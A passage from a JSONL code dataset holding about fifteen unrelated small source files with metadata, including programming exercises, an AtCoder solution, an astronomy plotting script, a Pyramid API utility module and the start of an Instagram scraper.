print(\"\\nERROR!\\nValue of x is greater than 3.\")\r\n \r\nhandlerror(5)\r\n","sub_path":"Assignment 8/exception_handling.py","file_name":"exception_handling.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"607992196","text":"\n# updmd5.py\n\nimport os\n\nimport downloads\n\ndef main (options, args):\n \"\"\"Update the cache of MD5 numbers for a download directory\n\n This is an addon to the downloads.py script which updates\n the download pages for mysql.com.\n \"\"\"\n directory = downloads.Directory (args [0])\n files = os.listdir (directory.path)\n for file in files:\n directory.getFileInfo (file)\n directory.saveCache (trimFluff = True)\n\ndef _options ():\n return [\n # (optstring, varname, typechar, default, help)\n ]\n\nif __name__ == '__main__':\n import optlib\n optlib.optMain2 (main, _options ())\n","sub_path":"sys/src/Python/distribTools/updmd5.py","file_name":"updmd5.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"403064093","text":"#???????\r\ndef find(x):\r\n if par[x] == x:\r\n return x\r\n else:\r\n return find(par[x])\r\n\r\n#x?y?????????\r\ndef unite(x,y):\r\n x = find(x)\r\n y = find(y)\r\n \r\n if x != y:\r\n #x?y?????????????\r\n if rank[x] < rank[y]:\r\n par[x] = y\r\n size[y] += size[x]\r\n else:\r\n par[y] = x\r\n size[x] += size[y]\r\n if rank[x]==rank[y]:\r\n rank[x] += 1\r\n\r\n#x?y?????????????\r\ndef same(x,y):\r\n return find(x) == find(y)\r\n\r\n########################################\r\nn = int(input())\r\na = list(map(int,input().split()))\r\n\r\npar = [0]*n #?\r\nfor i in range(n):\r\n par[i] = i\r\nrank = [1]*n #??\r\nsize = [1]*n #size[i]:i?????????????\r\n\r\nb = [0]*(n+1) #b[i]:i?a????????\r\nfor i in range(n):\r\n b[a[i]]=i\r\n\r\nans = 0\r\nfor i in range(n,0,-1):\r\n k = b[i]\r\n left = 0\r\n right = 0\r\n if k-1>=0 and a[k-1]>a[k]:\r\n left = size[find(k-1)]\r\n unite(k-1,k)\r\n if k+1<=n-1 and a[k+1]>a[k]:\r\n right = size[find(k+1)]\r\n unite(k+1,k)\r\n ans += (left+1)*(right+1)*a[k]\r\n\r\nprint(ans)","sub_path":"Source Codes/AtCoder/agc005/B/4250943.py","file_name":"4250943.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"586844909","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n'''\nFigure 9\n--------\n\nThis script reproduces Figure 9 in the paper.\nThe source code is available \n`here `_.\n\n.. figure:: ../paper/tex/images/201270464.png\n :width: 600px\n :align: center\n :height: 100px\n :alt: alternate text\n :figclass: align-center\n\n **Figure 9** EPIC 201270464, a `Kp = 9.4` saturated eclipsing binary. Plotted \n here is the raw flux (top), the K2SFF flux (center), and the EVEREST flux \n (bottom). PLD washes out the stellar variability along with most of the \n eclipses for some saturated stars.\n\nThis data was pre-downloaded and pre-detrended, so again this script doesn't\ngenerate the figure *from scratch*. Also, note that the data here are actually \nfrom EPIC 201270176, but this star\nshares the same aperture with 201270464 and 201270464 is much, much brighter,\nso it doesn't make a difference, really.\nWe're not capturing all the flux from 201270464 in this aperture,\nso not great for science, but great for the saturation example\nin the paper.\n\n'''\n\nfrom __future__ import division, print_function, absolute_import, unicode_literals\nimport os, sys\nfrom everest.config import EVEREST_SRC\nIMG_PATH = os.path.join(os.path.dirname(EVEREST_SRC), 'paper', 'tex', 'images')\nimport everest\nimport argparse\nimport numpy as np\nimport matplotlib.pyplot as pl\nfrom matplotlib.ticker import MaxNLocator\n\nif __name__ == '__main__':\n\n data = np.load(os.path.join('npz', '201270464.npz'))['data'][()]\n lightcurve = data['lightcurve']\n detrended = data['detrended']\n data = {}\n data.update(lightcurve)\n data.update(detrended)\n\n time = data['time']\n flux = data['flux'] / np.median(data['flux'])\n fpld = data['fpld'] / np.median(data['fpld'])\n tsff, fsff, _ = np.loadtxt(os.path.join('npz', '201270464.sff'), unpack = True, skiprows = 14)\n fsff /= np.median(fsff)\n\n fig, ax = pl.subplots(3, figsize = (10,6))\n fig.subplots_adjust(hspace = 0.1, wspace = 0.075)\n ax[0].plot(time, flux, 'k.', alpha = 0.3)\n ax[1].plot(tsff, fsff, 'k.', alpha = 0.3)\n ax[2].plot(time, fpld, 'k.', alpha = 0.3)\n\n ax[0].set_xticklabels([])\n ax[1].set_xticklabels([])\n for n in range(3):\n ax[n].yaxis.set_major_locator(MaxNLocator(5))\n ax[n].margins(0.01, None)\n ax[0].set_ylabel('Raw Flux', fontsize = 14)\n ax[1].set_ylabel('K2SFF Flux', fontsize = 14)\n ax[2].set_ylabel('EVEREST Flux', fontsize = 14)\n ax[2].set_xlabel('Time (days)', fontsize = 14)\n ax[0].set_ylim(0.75, 1.25)\n ax[1].set_ylim(0.98, 1.01)\n ax[2].set_ylim(0.98, 1.01)\n ax[0].set_yticks([0.75, 0.90, 1.05, 1.20])\n ax[0].set_yticklabels(['0.750', '0.900', '1.050', '1.200'])\n ax[1].set_yticks([0.985, 0.99, 0.995, 1., 1.005])\n ax[2].set_yticks([0.985, 0.99, 0.995, 1., 1.005])\n\n fig.savefig(os.path.join(IMG_PATH, '201270464.png'), bbox_inches = 'tight')\n fig.savefig(os.path.join(IMG_PATH, '201270464.pdf'), bbox_inches = 'tight')\n pl.close()","sub_path":"paper/scripts/201270464.py","file_name":"201270464.py","file_ext":"py","file_size_in_byte":2982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"490003285","text":"def dictMax(lstofDict):\n maxi = 0\n dictionaryOp = {}\n for dictionary in lstofDict:\n for key in dictionary:\n if maxi < dictionary[key]:\n maxi = dictionary[key]\n dictionaryOp = dictionary\n return dictionaryOp\n\nif __name__ == \"__main__\":\n n = int(input())\n lstofDict = []\n while n>0:\n key = input()\n val = int(input())\n lstofDict.append({key:val})\n n = n-1\n\n print (dictMax(lstofDict))","sub_path":"learning/dictMax.py","file_name":"dictMax.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"326712478","text":"\"\"\"Remove empty jpg files\"\"\"\nimport os\n\n# Specify your own image directory here\ntarget_folder = \"/cropped\"\n\nwith os.scandir(target_folder) as it:\n for entry in it:\n file_dir = os.path.join(target_folder, entry.name)\n if os.stat(file_dir).st_size == 0:\n try:\n os.remove(file_dir)\n print(\"Empty file %s is removed\" % entry.name)\n except OSError as e:\n print(\"Error: %s - %s.\" % (e.filename, e.strerror))\n","sub_path":"util/remove_empty.py","file_name":"remove_empty.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"592798066","text":"def isograma(cadena):\n cadena = cadena.lower()\n encontradas = set()\n for letra in cadena:\n if letra == ' ':\n continue\n if letra in encontradas:\n return False\n else:\n encontradas.add(letra)\n return True\n\ndef isograma(cadena):\n cadena = cadena.lower()\n for i in range(len(cadena)):\n letra = cadena[i]\n if letra == ' ':\n continue\n if letra in cadena[i + 1:]:\n return False\n return True\n\nprint(isograma(cadena='camino'))\nprint(isograma('manolo'))\nprint(isograma('Ricardo'))\nprint(isograma('a b c'))","sub_path":"isograma.py","file_name":"isograma.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"188503065","text":"#Andres Suarez\n#Math 4330 Final Project\n\ndef IsNumber(vector):\n '''\n This function makes sure the values of a given vector are numbers. It checks each value, if they are not an int, float, or complex number it returns False. However, if those conditions are met it returns True.\n '''\n # This variable will keep track of the validity of our input.\n inputStatus = True\n # This for loop will check each element of the vector to see if it's a number.\n for i in range(len(vector)):\n if ((type(vector[i]) != int) and (type(vector[i]) != float) and (type(vector[i]) != complex)):\n inputStatus = False\n else:\n return inputStatus\n\ndef twoNorm(vector):\n '''\n twoNorm takes a vector as it's argument. It then computes the sum of the squares of each element of the vector. It then returns the square root of this sum.\n '''\n # If the input is valid the function continues to compute the 2-norm\n if IsNumber(vector) == True:\n result = 0\n # This for loop will compute the sum of the squares of the elements of the vector.\n for i in range(len(vector)):\n result = result + (vector[i]**2)\n result = result**(1/2)\n return result\n else:\n return \"invalid input\"\n\ndef Normalize(vector):\n '''\n This function takes a vector as its argument. First it sets a temporary vector as the result of the 2 norm of our argument. Then it divides our argument by its 2 Norm. The result is stored in the initially empty result array.\n '''\n # If the input is valid the function continues to compute the Normalization of the vector\n if IsNumber(vector) == True:\n temp = twoNorm(vector)\n item = 0\n result = []\n #This for loop will compute a the division between the input and the its 2Norm then append it to result\n for i in range(len(vector)):\n item = (vector[i]) / temp\n result.append(item)\n return result\n else:\n return \"invalid input\"\n\n\ndef dot(vector1, vector2):\n '''\n This function takes 2 vectors of the same length and computes the dot product. First we check to see if the vectors are compatible. Then, a solution integer is initialized which will store our answer. The zip function is used to merge the 2 vectors of the same length into pairs. This way we match each element of the same index position to calculate the product and then add up the sum of the products. The final result is stored in the integer solution.\n '''\n # If the input is valid the function it will continue\n if IsNumber(vector1) == True and IsNumber(vector2):\n #if the length of the vectors are the same it will compute the dot product of the two\n if len(vector1) == len(vector2):\n result = 0\n #This for loop multiplies each of the elements of the vectors and stores it in result\n for i in range(len(vector1)):\n result += vector1[i] * vector2[i]\n return result\n else:\n return \"invalid input\"\n else:\n return \"invalid input\"\n\n\ndef scalarVecMulti(scalar, vector):\n '''\n This function takes a scalar and a vector as it's arguments. An temporary integer \"item\" is created to store the product of the scalar with each element in the vector. Each result for \"item\" is stored in the empty \"solution\" list. Solution is returned which contains the product of the scalar and vector.\n '''\n # If the input is valid the function it will continue\n if IsNumber(vector) == True:\n item = 0\n result = []\n #This for loop multiplies the scalar by each element in the vector and stores it in result\n for i in range(len(vector)):\n item = scalar * vector[i]\n result.append(item)\n return result\n else:\n return \"invalid input\"\n\ndef vecSubtract(vector1, vector2):\n '''\n This function takes 2 vectors of the same length and computes the difference. A solution vector is initialized to return our final answer. Then a temporary result vector is initialized along with a temporary integer \"item\". The item integer computes the difference between the elements of the 2 vectors and stores it in our temporary result vector. The result vector now contains 3 lists inside of it with the difference between each element in vector1 with all elements of vector2. Since we are looking for the difference between the elements in matching index positions, we take out the correct difference from each list in our result vector and append it to our solution vector. The final result is solution = (vector1 - vector2)\n '''\n #Check if input is valid\n if len(vector1) == len(vector2):\n solution = []\n for i in range(len(vector1)):\n #temporary vector and integer\n result = []\n item = 0\n for j in range(len(vector2)):\n #takes difference between 1 element in vector1 and all elements in vector2\n item = vector1[j] - vector2[i]\n #appends all 3 lists into our temporary vector\n result.append(item)\n #appends only the correct difference into the solution\n solution.append(result[i])\n return solution\n else:\n return \"The input is invalid\"\n\n\ndef Gram_Schmidt(A):\n '''\n This function takes all functions listed above and combines them in order to form our Q and R matricies.\n '''\n #rows of matrix A\n m = len(A[0])\n #columns of matrix A\n n = len(A)\n #v are the vectors of A\n v = A\n #creates empty matricies Q and R based on the number of columns in A\n R = [[0]*n for i in range(n)]\n Q = [[0]*m for i in range(n)]\n #this for loop computes r11 and q1\n for i in range(n):\n R[i][i] = twoNorm(v[i])\n Q[i] = Normalize(v[i])\n #this for loop computes r12, r22, and q2\n for j in range(i+1,n):\n R[j][i] = dot(Q[i],v[j])\n temp = scalarVecMulti(R[i][j],Q[i])\n v[i] = vecSubtract(v[j],temp)\n return [Q,R]\n\ndef matrixTranspose(Q):\n '''\n This function computes the transpose of matrix Q by converting the columns to rows and rows to columns.\n '''\n #rows of Q\n m = len(Q[0])\n #columns of Q\n n = len(Q)\n #creates empty matrix which will contain our result\n transposedQ = [[0]*n for i in range(m)]\n #this forloop flips the columns to rows and vice-versa\n for i in range(len(Q)):\n for j in range(len(transposedQ)):\n transposedQ[j][i] = Q[i][j]\n return transposedQ\n\n\ndef matVec(matrix, vector):\n '''\n This function calculates a matrix-vector multiplication. First we check to see if the matrix is compatible. For example if the vector has 3 elements (or rows), the matrix must have 3 lists inside of it (or 3 columns).\n We compare the length of the matrix with the length of the vector to determine this part.\n Once we determine that the matrix is compatible, we initialize an empty list that will store our \"solution\".\n The product is calculated using item += matrix[j][i] + vector[j] and is temporarily stored in the \"result\" list where the sum of each product is the 3rd element in \"result\".\n The sum is then appended into our solution list which gives us a vector (3x1) equivalent to matrix*vector\n '''\n #matrix compatibility check\n if IsNumber(vector) == True:\n #vector compatibility check\n if len(matrix) == len(vector):\n #solution stores our final answer\n solution = []\n for i in range(len(matrix[0])):\n #creating temporary list to product calculations\n result = []\n item = 0\n for j in range(len(vector)):\n #adding the product result of the matrix vector multiplication\n item += matrix[j][i] * vector[j]\n result.append(item)\n solution.append(result[2])\n return solution\n else:\n return \"invalid input\"\n else:\n return \"invalid input\"\n\ndef BackSub(matrix, vector):\n '''\n This function takes a matrix and a vector as its arguments and computes the backsubstitution to compute the c vector.\n '''\n #we set this variable to identify where we are inside our c vector. Since the length is 4 it only goes up to c[3]\n a = len(vector) - 1\n #creates empty vector with 0's\n c = [0]*len(vector)\n #divides the values of the vector by the values of the matrix\n c[a] = vector[a] / matrix[a][a]\n\n #the for loop fills out the values of c\n for i in reversed(range(a)):\n c[i] = vector[i]\n for j in range(i+1, a):\n c[i] = c[i] - (c[j]*matrix[j][i])\n c[i] = c[i] / matrix[i][i]\n return c\n\n\n\nA = [[1,1,1,1,1,1,1,1,1,1],[0.55,0.60,0.65,0.70,0.75,0.80,0.85,0.90,0.95,1],[0.3025,0.36,0.4225,0.49,0.5625,0.64,0.7225,0.81,0.9025,1],[0.09150625,0.1296,0.17850625,0.2401,0.31640625,0.4096,0.52200625,0.6561,0.81450625,1]]\n\ny = [1.102,1.099,1.017,1.111,1.117,1.152,1.265,1.380,1.575,1.857]\n\nGS_Solution = Gram_Schmidt(A)\nQ = GS_Solution[0]\nR = GS_Solution[1]\nb = matVec(matrixTranspose(Q), y)\nc = BackSub(R, b)\n\n\nprint(\"The matrix A is\", A)\nprint(\"\\n\")\nprint(\"The matrix Q is\" ,Q)\nprint(\"\\n\")\nprint(\"The matrix R is\" ,R)\nprint(\"\\n\")\nprint(\"The c vector is: \" ,c)","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"621168510","text":"\n\n# fdfs客户端的使用\nfrom fdfs_client.client import Fdfs_client\n\n# 1、构建一个客户端端对象(连接对象)\nconn = Fdfs_client('./client.conf')\n\n# 2、使用该对象,上传(本地上传)\n\n# content: 文件内容(模拟浏览器传到后端来的文件\"数据\")\ncontent = None\nwith open('./2.png', 'rb') as f:\n content = f.read()\n# content: 类型?答:bytes字节类型\n\n# res = conn.upload_by_filename('./1.png')\n# buffer什么含义?!答:一段内存空间!\n\n# 根据文件\"内容\"(文件数据)进行上传\nres = conn.upload_by_buffer(content)\n\n\n# 3、返回信息\n# res = {\n# 'Remote file_id': 'group1/M00/00/00/wKjLmV30iBmAZJJmAApreIsWarc458',\n# 'Uploaded size': '666.00KB',\n# 'Storage IP': '192.168.203.153',\n# 'Local file name': './1.png',\n# 'Status': 'Upload successed.',\n# 'Group name': 'group1'\n# }\nprint(res['Remote file_id'])","sub_path":"meiduo_mall/utils/fdfs/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"229315002","text":"'''\nCreated on Apr 5, 2016\n\n@author: rsong_admin\n'''\nimport numpy as np\nimport matplotlib.pylab as plt\nfrom mpl_toolkits.mplot3d import Axes3D\n\n\n\nif __name__ == '__main__':\n f1 = np.array([1.8,4.8,1.2,4.5,1.5,4.2])\n f2 = np.array([4,7,3.4,6.7,3.7,6.4])\n f3 = np.array([5.6,8.6,5.0,8.3,5.3,8])\n label = ['A','B','A','B','B','B']\n \n fig = plt.figure()\n ax = fig.add_subplot(111, projection='3d')\n for i in range(len(label)):\n thisLabel = label[i]\n thisF1 = f1[i]\n thisF2 = f2[i]\n thisF3 = f3[i]\n if thisLabel =='A':\n ax.scatter(thisF1, thisF2, thisF3, c = 'r',marker='o')\n else:\n ax.scatter(thisF1, thisF2, thisF3,c='b', marker='^')\n \n ax.set_xlabel('F1')\n ax.set_ylabel('F2')\n ax.set_zlabel('F3')\n plt.show()","sub_path":"CS165B/HW1/P7.py","file_name":"P7.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"553852961","text":"import os\nimport os.path\n\n\nclass FolderStorage:\n def __init__(self, path, ext=None):\n self._path = path\n self._ext = ext\n\n def _to_path(self, name):\n return os.path.join(self._path, name) + (\"\" if self._ext is None else self._ext)\n\n def exists(self, name):\n return os.path.isfile(self._to_path(name))\n\n def content(self, name, binary=False):\n path = self._to_path(name)\n if not os.path.isfile(path):\n return None\n with open(path, \"rb\" if binary else \"r\") as f:\n return f.read()\n\n def edit(self, name, content, binary=False):\n path = self._to_path(name)\n with open(path, \"wb\" if binary else \"w\") as f:\n f.write(content)\n\n def each(self):\n for i in os.listdir(self._path):\n # check that i is a file (needs full path)\n i = os.path.join(self._path, i)\n if not os.path.isfile(i):\n continue\n\n # use only the files name\n i = os.path.split(i)[1]\n\n if self._ext is None:\n yield i\n else:\n # if this storage has an extension, only return those that have the\n # correct extension\n i = os.path.splitext(i)\n if i[1] != self._ext:\n continue\n\n # return file name without extension\n yield i[0]\n\n def move(self, old_name, new_name):\n old_path = self._to_path(old_name)\n new_path = self._to_path(new_name)\n if os.path.isfile(new_path):\n return \"'{}' already exists\".format(new_name)\n try:\n os.rename(old_path, new_path)\n except OSError:\n return \"failed to move '{}' to '{}', is the destination a directory?\".format(old_path, new_path)\n\n def delete(self, name):\n path = self._to_path(name)\n try:\n os.remove(path)\n except OSError:\n return \"failed to delete '{}', is it a directory?\".format(path)\n","sub_path":"wikix/storages.py","file_name":"storages.py","file_ext":"py","file_size_in_byte":2029,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"159436818","text":"import crypt\nimport pkg_resources\nimport re\nfrom datetime import (\n datetime,\n timedelta,\n)\nfrom dateutil.parser import parse as parse_date\nfrom dateutil.parser import parserinfo\nfrom decimal import Decimal\nfrom json import loads\nfrom pyramid.httpexceptions import (\n HTTPForbidden,\n HTTPBadRequest,\n HTTPNotFound,\n)\nfrom pyramid.response import FileResponse\nfrom secretary import Renderer\nfrom sqlalchemy import inspect\nfrom sqlalchemy.exc import (\n IntegrityError,\n DataError,\n)\nfrom sqlalchemy.orm.exc import NoResultFound\nfrom tempfile import NamedTemporaryFile\n\nfrom . import models\nfrom .query import Query\n\n\n#: Field names that are always excluded in the response.\nEXCLUDED_FIELDS_FROM_RESPONSE = {'password'}\n\n\ndef create(request):\n payload = request.json_body\n\n _verify_create_authorizations(request.user, payload)\n\n table = _get_table_from_route(request)\n if table == models.Permissions:\n try:\n payload['matrix'] = loads(payload['matrix'])\n except ValueError:\n raise HTTPBadRequest(payload['matrix'] + ' is not valid json')\n try:\n record = table(**payload)\n if isinstance(record, models.Users):\n crypt_password(record)\n request.db.add(record)\n request.db.commit()\n except (IntegrityError, DataError) as e:\n _bad_sql_request(e)\n except TypeError as e:\n raise HTTPBadRequest(e)\n\n formated_record = record.__json__()\n filter_fields_from_record(formated_record)\n return formated_record\n\n\ndef _verify_create_authorizations(user, payload):\n _verify_authorizations(\n user,\n payload,\n auth_type='can_create',\n no_perm_message='You are not allowed to create record in this endpoint.',\n wrong_id_message='You are not allowed to create record for other users: wrong or no '\n 'user_id supplied.')\n\n\ndef _verify_authorizations(\n user,\n payload,\n record=None,\n auth_type=None,\n no_perm_message='',\n wrong_id_message=''):\n if user is None or not getattr(user, auth_type, None):\n raise HTTPForbidden(no_perm_message)\n\n if not user.is_admin and \\\n not _updating_own_password(user, record, auth_type) and \\\n not _has_proper_id(user, payload, record, auth_type):\n raise HTTPForbidden(wrong_id_message)\n\n\ndef _has_proper_id(user, payload, record, auth_type):\n user_id_in_payload = 'user_id' in payload\n good_id_in_payload = user.id == payload.get('user_id', None)\n good_id_in_record = record is not None and user.id == getattr(record, 'user_id', None)\n\n if user_id_in_payload and auth_type == 'can_update':\n return good_id_in_payload and good_id_in_record\n elif user_id_in_payload and auth_type == 'can_create':\n return good_id_in_payload\n elif auth_type == 'can_update':\n return good_id_in_record\n\n\ndef _updating_own_password(user, record, auth_type):\n return auth_type == 'can_update' and isinstance(record, models.Users) and record.id == user.id\n\n\ndef _get_table_from_route(request):\n route_name = get_standard_route_name(request)\n\n return getattr(models, route_name.title())\n\n\ndef get_standard_route_name(request):\n route_name = request.matched_route.name\n if route_name.endswith('_id'):\n route_name = route_name.replace('_id', '')\n elif route_name.endswith('_fields'):\n route_name = route_name.replace('_fields', '')\n\n return route_name\n\n\ndef crypt_password(record):\n record.password = crypt.crypt(record.password, crypt.mksalt(crypt.METHOD_SHA256))\n\n\ndef _bad_sql_request(exception):\n message_lines = str(exception).split('\\n')\n message_lines = message_lines[:2]\n message = '\\n'.join(message_lines)\n raise HTTPBadRequest(message)\n\n\ndef fetch_projects_report(execute, execute_args):\n projects = []\n projects_summary = {\n 'total_time': timedelta(),\n 'total_duration': Decimal(0),\n 'total_billed': 0,\n 'total_price': 0,\n }\n\n projects_records = execute(\n models.SQL_REPORT_PROJECTS,\n execute_args).fetchall()\n\n for project_record in projects_records:\n project = dict(project_record)\n project['description'] = project['description'] or ''\n projects.append(project)\n project_total_args = {'project_id': project['id']}\n project_total_args.update(execute_args)\n project_total = execute(\n models.SQL_REPORT_PROJECT_TOTAL,\n project_total_args).fetchone()\n project.update(dict(project_total))\n\n project_activities = execute(\n models.SQL_REPORT_PROJECT_ACTIVITIES,\n project_total_args).fetchall()\n project['activities'] = []\n for activity in project_activities:\n activity = dict(activity)\n activity = format_dates(activity)\n activity['time_spent'] = _format_timedelta(activity['time_spent'])\n activity['description'] = activity['description'] or ''\n project['activities'].append(activity)\n projects_summary['total_time'] += project['period_duration'] or timedelta()\n projects_summary['total_duration'] += project['period_total'] or Decimal(0)\n projects_summary['total_billed'] += project['period_billed'] or 0\n projects_summary['total_price'] += project['period_price'] or 0\n\n # Format project timedelta for template\n project['total_duration'] = _format_timedelta(project['total_duration'])\n project['period_duration'] = _format_timedelta(project['period_duration'])\n\n projects_summary['total_time'] = _format_timedelta(projects_summary['total_time'])\n\n return projects, projects_summary\n\n\ndef _format_timedelta(raw_timedelta):\n s = raw_timedelta.total_seconds()\n return '{:02}:{:02}:{:02}'.format(int(s // 3600), int(s % 3600 // 60), int(s % 60))\n\n\ndef fetch_travels_report(execute, execute_args):\n travels_summary = {\n 'total_kilometers': 0,\n 'total_price': 0,\n }\n travels_records = execute(models.SQL_REPORT_TRAVELS, execute_args).fetchall()\n travels = []\n for travel_record in travels_records:\n travel = dict(travel_record)\n travel = format_dates(travel)\n travels.append(travel)\n\n travels_summary['total_kilometers'] += travel['kilometers'] or 0\n travels_summary['total_price'] += travel['price'] or 0\n\n return travels, travels_summary\n\n\ndef filter_fields_from_record(formated_record):\n fields_to_exclude = set(formated_record.keys()) & EXCLUDED_FIELDS_FROM_RESPONSE\n for field in fields_to_exclude:\n del formated_record[field]\n\n\ndef render_chDate(d):\n if not isinstance(d, str):\n d = str(d)\n\n if is_iso_date(d):\n return parse_date(d).strftime('%d.%m.%Y')\n else:\n return d\n\n\ndef is_iso_date(d):\n return re.match(r'[0-9]{4}-[0-9]{2}-[0-9]{2}', d) is not None\n\n\ndef render_pg_date(d):\n if not isinstance(d, str):\n d = str(d)\n\n if not is_iso_date(d):\n return parse_date(d, parserinfo(dayfirst=True)).strftime('%Y-%m-%d')\n else:\n return d\n\n\ndef format_dates(obj_dict):\n formatted = {}\n for key, value in obj_dict.items():\n if _is_date_key(key) and value:\n formatted[key] = render_chDate(value)\n else:\n formatted[key] = value\n\n return formatted\n\n\ndef _is_date_key(key):\n return key.endswith('_date') or key.startswith('date_')\n\n\ndef render_template(template_name, output_name, request, **kwargs):\n render = Renderer()\n TEMPLATE_RESOURCE = 'resources/templates/{}'\n result = render.render(\n pkg_resources.resource_filename('waffleapi', TEMPLATE_RESOURCE).format(template_name),\n **kwargs)\n\n with NamedTemporaryFile(\n mode='wb+',\n prefix=output_name,\n delete=True) as output:\n output.write(result)\n response = FileResponse(\n output.name,\n request=request)\n response.headers['Content-Disposition'] = ('attachement; filename=\"{}\"'\n .format(output_name))\n response.headers['Content-Type'] = 'application/vnd.oasis.opendocument.text.odt'\n\n return response\n\n\ndef update(request):\n payload = request.json_body\n\n if request.user is not None:\n record = _get_record(request)\n else:\n _verify_update_authorization(request.user, payload)\n\n _verify_update_authorization(request.user, payload, record)\n\n if record is not None:\n return _update_record(record, payload, request.db)\n else:\n raise HTTPNotFound()\n\n\ndef _verify_update_authorization(user, payload, record=None):\n _verify_authorizations(\n user,\n payload,\n record=record,\n auth_type='can_update',\n no_perm_message='You are not allowed to update record in this endpoint.',\n wrong_id_message='You are not allowed to update record for other users: wrong or no '\n 'user_id supplied.')\n\n\ndef _get_record(request):\n if request.matched_route.name == 'invoices_id':\n record_id_field_name = 'num'\n else:\n record_id_field_name = 'id'\n\n try:\n return Query(request, no_join=True, record_id_field_name=record_id_field_name).get_one()\n except NoResultFound:\n return None\n\n\ndef _update_record(record, payload, db):\n for key, value in payload.items():\n if not hasattr(record, key):\n raise HTTPBadRequest('Unkwon column \"{}\" for table \"{}\".'\n .format(key, record.__tablename__))\n elif key == 'id' or key == 'num':\n raise HTTPBadRequest('You cannot change the id of a record.')\n elif key == 'matrix' and isinstance(record.matrix, dict):\n try:\n value = loads(value)\n except ValueError:\n raise HTTPBadRequest(value + ' is not valid json')\n elif _is_date_key(key) and value:\n value = render_pg_date(value)\n\n setattr(record, key, value)\n if key == 'password':\n crypt_password(record)\n\n try:\n db.add(record)\n db.commit()\n except DataError as e:\n _bad_sql_request(e)\n\n formated_record = record.__json__()\n filter_fields_from_record(formated_record)\n return formated_record\n\n\ndef get_fields_infos(request):\n table = _get_table_from_route(request)\n fields = []\n\n for column in inspect(table).columns:\n field = {\n 'name': column.name,\n 'nullable': column.nullable,\n 'default': column.default.arg if column.default is not None else None,\n 'type': models.HTML_TYPES.get(type(column.type), {'attr': 'input', 'type': 'text'}),\n }\n\n if column.name.endswith('_id'):\n field_name = column.name.replace('_id', '')\n field['join_fields'] = models.RELATION_TO_FIELDS.get(field_name, [])\n\n if column.server_default is not None and str(column.server_default.arg) == 'now()':\n field['default'] = str(datetime.now()).split(' ')[0]\n\n fields.append(field)\n\n for relation_name in inspect(table).relationships.keys():\n for name in models.RELATION_TO_FIELDS.get(relation_name, []):\n table_name = relation_name if relation_name.endswith('s') else relation_name + 's'\n field_name = '{}__{}'.format(table_name, name)\n fields.append({\n 'name': field_name,\n 'from_join': True,\n })\n\n # Changing order for view invoice\n if request.matched_route.name == 'invoices_fields':\n client_field = fields.pop()\n fields.insert(2, client_field)\n\n return fields\n","sub_path":"waffleapi/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":11730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"114427134","text":"class SetOfStacks:\n def __init__(self,capacity):\n self.capacity = capacity\n self.stack = [[0] * self.capacity]\n self.sizes = [0]\n\n def push(self,x):\n if not self.iscurrstackfull():\n self.stack[-1][self.sizes[-1]] = x\n self.sizes[-1] += 1\n else:\n self.sizes.append(0)\n self.stack.append([0]*self.capacity)\n self.push(x)\n\n def pop(self):\n if not self.isempty():\n self.sizes[-1] -= 1\n self.stack[-1][self.sizes[-1]] = 0\n if self.sizes[-1] == 0:\n self.sizes.pop()\n self.stack.pop()\n else:\n print('No stacks')\n\n def popAt(self, index):\n stacknum = index // self.capacity\n indexinstack = index % self.capacity\n for i in range(indexinstack+1,self.capacity):\n self.stack[stacknum][i-1] = self.stack[stacknum][i]\n self.stack[stacknum][self.capacity-1] = 0\n self.rollover(stacknum+1)\n\n def rollover(self,stacknum):\n for i in range(stacknum,len(self.sizes)-1):\n self.stack[i][-1] = self.stack[i+1][0]\n for j in range(1,self.capacity):\n self.stack[i][j-1] = self.stack[i][j]\n self.pop()\n\n def iscurrstackfull(self):\n if self.sizes[-1] < self.capacity:\n return False\n else:\n return True\n\n def isempty(self):\n if len(self.sizes) == 1 and self.sizes[0] == 0:\n return True\n else:\n return False\n\ndef main():\n stacks = SetOfStacks(5)\n stacks.push(1)\n stacks.push(2)\n stacks.push(3)\n stacks.push(4)\n stacks.push(5)\n stacks.push(6)\n stacks.push(7)\n stacks.push(8)\n stacks.push(9)\n stacks.push(10)\n stacks.push(11)\n print(stacks.stack)\n stacks.popAt(7)\n print(stacks.stack)\n\nif __name__ == '__main__':\n main()","sub_path":"Chapter 3/3.3.py","file_name":"3.3.py","file_ext":"py","file_size_in_byte":1904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"570821729","text":"import time\n\nfrom bs4 import BeautifulSoup as Soup\nimport json\nimport os\nimport requests\nfrom selenium import webdriver\nimport sqlite3\n\nimport init\n\n\ndef main(islogin, browser, database_name, username):\n # 提取資料庫\n # database_name = 'test.db'\n con = sqlite3.connect(database_name)\n cursor = con.cursor()\n # sql_query = \"SELECT * FROM Instagram\"\n # sql_query = \"SELECT * FROM Instagram WHERE username='yuen_nnnnnn'\"\n 